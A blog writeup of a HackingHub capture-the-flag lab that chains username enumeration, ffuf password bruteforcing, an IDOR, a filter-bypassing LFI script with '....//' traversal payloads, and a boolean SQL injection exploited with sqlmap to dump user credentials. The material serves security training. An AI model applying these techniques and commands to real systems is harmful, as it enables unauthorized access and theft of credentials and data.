z3k0sec
open main menu
Part of series: writeups

HackingHub: Message Box

/ 6 min read

This writeup explores common vulnerabilities and misconfigurations - a Insecure Direct Object References (IDOR), Local File Inclusion (LFI), and a misconfigured API endpoint that is vulnerable to SQL injection.

We start off by navigating to the target URL. It’s a simple login form where an attacker can enumerate valid users by “guessing” their usernames with the help of the error message the application returns.

If we authenticate via a valid username, we receive a message that states that either the username is present on the system or the provided password is wrong. (Further reading)

Save the request via Burpsuite as login.req and modify the parameters (username=FUZZ) as shown below:

We use ffuf with the help of users.txt wordlist to enumerate valid usernames.

ffuf -request login.req -request-proto https -w /usr/share/seclists/Usernames/Names/names.txt -mr "Password is invalid"

Here we use -mr to match the regex for Password is invalid, which is shown when a user exists, else we get Username is invalid message.

We have successfully enumerate 4 users on the system:

Bruteforcing passwords

Next, we bruteforce the passwords for the corresponding accounts.

Change the username parameter to bob and start a dictionary attack against the login endpoint:

ffuf -request login.req -request-proto https -w /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt -fs 1809
s*******                [Status: 401, Size: 1807, Words: 393, Lines: 35, Duration: 77ms]
bob:s*******

We repeat the same steps for user gill:

s*****                  [Status: 401, Size: 1807, Words: 393, Lines: 35, Duration: 41ms]
gill:s*****

And for user thomas:

s*******                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 47ms]

During authentication for user bob and gill, we get a 401 status code. It seems that both accounts are disabled. But for user thomas we get a 302 status response.

IDOR vulnerability

Now that we have logged in and expanded our attack surface, we notice some links that redirect to:

Additionally, we’re able to reply to messages via https://splnu7hm.eu2.ctfio.com/mailbox/[id]/reply endpoint.

There is no authorization and authentication protection in place, so we can navigate to https://splnu7hm.eu2.ctfio.com/mailbox/2/reply/ and retrieve the second flag via an IDOR vulnerability.

See here: https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html

The leaked message reveals /messagebox-admin-api endpoint, which can only be accessed via a X-Token, which we do not have obtained yet.

Furthermore. the message leaks a method to download arbitrary files (/tmp/secrets.txt) from the target system via a Local File Inclusion in the file and check parameter.

Here it is important to understand that we have to encrypt the check parameter via md5sum or else the request will fail.

[white@exodus hackinghub]$ echo -n "/tmp/secrets.txt" | md5sum | awk -F ' ' '{print $1}'
7810d5e697da0900e80699ea5e7a7ae3

If we try to retrieve /tmp/secrets.txt,

https://splnu7hm.eu2.ctfio.com/get_attachment?file=/tmp/secrets.txt&check=7810d5e697da0900e80699ea5e7a7ae3

we get an error File not does not exist.

We create a small script to automate the LFI exploitation process. Let’s try and bypass possible filters on the backend to read files from the server.

import hashlib
import requests

def md5_encrypt(text):
    """Encrypts a given text using the MD5 algorithm."""
    return hashlib.md5(text.encode()).hexdigest()

def process_file_and_submit(file_path, base_url):
    """Reads a file line by line, encrypts each line with MD5, and submits it via the check parameter."""
    with open(file_path, 'r') as file:
        for line in file:
            # Strip newline and any extra whitespace
            line = line.strip()
            if line:
                # Encrypt the line using MD5
                md5_hash = md5_encrypt(line)
                
                # Construct the URL with the md5 hash as the check parameter
                url = base_url.format(line, md5_hash)
                
                # Send the HTTP GET request
                response = requests.get(url)
                
                response_size = len(response.content)
                # Print the response (or handle it as needed)
                if "exist" not in str(response.content):
                    print(f"Submitted: {line} -> {md5_hash}, Response: {response.status_code}")
                    print(response.content)
                    print(url)
if __name__ == "__main__":
    # Define the file path and base URL
    #file_path = '/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt'  # Replace with your text file path
    file_path = './1.txt' 
    base_url = "https://oju32pnr.eu1.ctfio.com/get_attachment?file={}&check={}"
    
    # Process the file and submit each line
    process_file_and_submit(file_path, base_url)

A small fuzzing wordlist to test for LFI:

[white@exodus hackinghub]$ cat 1.txt
../../../../../../tmp/secrets.txt
..../..../..../..../..../tmp/secrets.txt
....//....//....//....//....//tmp/secrets.txt

See here for common bypass payloads

We run the script and are able to bypass the filters, extract the flag and the API key that is needed to interact with the /messagebox-admin-api endpoint.

(venv) [white@exodus hackinghub]$ python3 script.py
Submitted: ....//....//....//....//....//tmp/secrets.txt -> 68a0cbe9edfdaa6dc451ddba23cc6a15, Response: 200
b'Api Key: [CENSORED]\nFlag: flag{[CENSORED]}\n'
https://oju32pnr.eu1.ctfio.com/get_attachment?file=....//....//....//....//....//tmp/secrets.txt&check=68a0cbe9edfdaa6dc451ddba23cc6a15
(venv) [white@exodus hackinghub]$

MessageBox Admin API

Intercept the request to messagebox-admin-api with Burp and add X-Token:[CENSORED] to the headers to interact with the MessageBox Admin API.

Next, we have to enumerate potential API endpoints with the help of ffuf. Save the request via Burp (Copy to file) and append the FUZZ keyword.

[white@exodus hackinghub]$ cat api.req
GET /messagebox-admin-api/FUZZ HTTP/1.1
Host: oju32pnr.eu1.ctfio.com
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US
X-Token:[CENSORED]
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

Start the API enumeration:

[white@exodus hackinghub]$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -request api.req --request-proto https

The /deleted endpoint gives a 403 error "Method is deprecated".

It seems that endpoint has worked in previous iterations of the custom API.

Our next goal is to find the old API endpoint. Commonly used URIs like /v1/, /api/v1 did not work, so we had to ask ChatGPT for help.

It suggests versioning via query parameter, as shown below:

As shown below we have found the old API endpoint:

curl -H 'X-Token:[CENSORED]' https://oju32pnr.eu1.ctfio.com/messagebox-admin-api/?version=1 -w '\n'
{"error":"Invalid Version Selected"}

And here we’re able to use the /deleted endpoint to view deleted messages.

curl -H 'X-Token:[CENSORED]' https://oju32pnr.eu1.ctfio.com/messagebox-admin-api/deleted/?version=1.0 -w '\n'
{"message":"Here you can view messages that have been deleted"}
curl -H 'X-Token:[CENSORED]' https://oju32pnr.eu1.ctfio.com/messagebox-admin-api/deleted/1?version=1.0 -w '\n'
{"error":"This message has not yet been deleted"}

After looping through some IDs, we notice that ID = 4 could contain some sensitive information, but we don’t have permission to read the message.

for i in {0..100}; do curl -H 'X-Token:[CENSORED]' https://oju32pnr.eu1.ctfio.com/messagebox-admin-api/deleted/$i?version=1.0 -w '\n'; done
{"error":"Message Cannot Be Found"}
{"error":"This message has not yet been deleted"}
{"error":"This message has not yet been deleted"}
{"error":"This message has not yet been deleted"}
{"error":"You do not have the correct permissions to view this message"}
--snip--

Luckily, the API seems to be vulnerable to SQL injection. The request below (5-1) returns the fourth message.

curl -H 'X-Token:[CENSORED]' https://oju32pnr.eu1.ctfio.com/messagebox-admin-api/deleted/5-1?version=1.0 -w '\n'
{"error":"You do not have the correct permissions to view this message"}

Bingo! We have found a boolean-based SQL injection in the message ID parameter.

Dump the database content via sqlmap.

sqlmap -u "https://oju32pnr.eu1.ctfio.com/messagebox-admin-api/deleted/1*?version=1.0" --headers='X-Token:[CENSORED]' --dbms=mysql --technique=B --batch -v 6 --dbs

Dump of databases:

[*] information_schema
[*] msgbox
[*] performance_schema

Dump tables out of database msgbox.

sqlmap -u "https://oju32pnr.eu1.ctfio.com/messagebox-admin-api/deleted/1*?version=1.0" --headers='X-Token:[CENSORED]' --dbms=mysql --technique=B --batch  -D msgbox --tables
+---------+
| flag    |
| message |
| users   |
+---------+

Dump the content of userstable.

sqlmap -u "https://oju32pnr.eu1.ctfio.com/messagebox-admin-api/deleted/1*?version=1.0" --headers='X-Token:[CENSORED]' --dbms=mysql --technique=B --batch  -D msgbox -T users --dump
+----+----------------+----------+
| id | password       | username |
+----+----------------+----------+
| 1  | [CENSORED]       | thomas |
| 2  | [CENSORED]       | admin  |
| 3  | [CENSORED]       | gill   |
| 4  | [CENSORED]       | bob    |
+----+----------------+----------+

Login to the login panel as admin:**************.

And extract the final flag.

flag{[CENSORED]}

Lessons learned

  • username enumeration can be possible via login or register functionality
  • flawed authorization and authentication controls can leak sensitive information (e.g. messages, logs, API keys)
  • filtered or blacklisted LFI payloads can often be bypassed
  • old API endpoints can expose vulnerable methods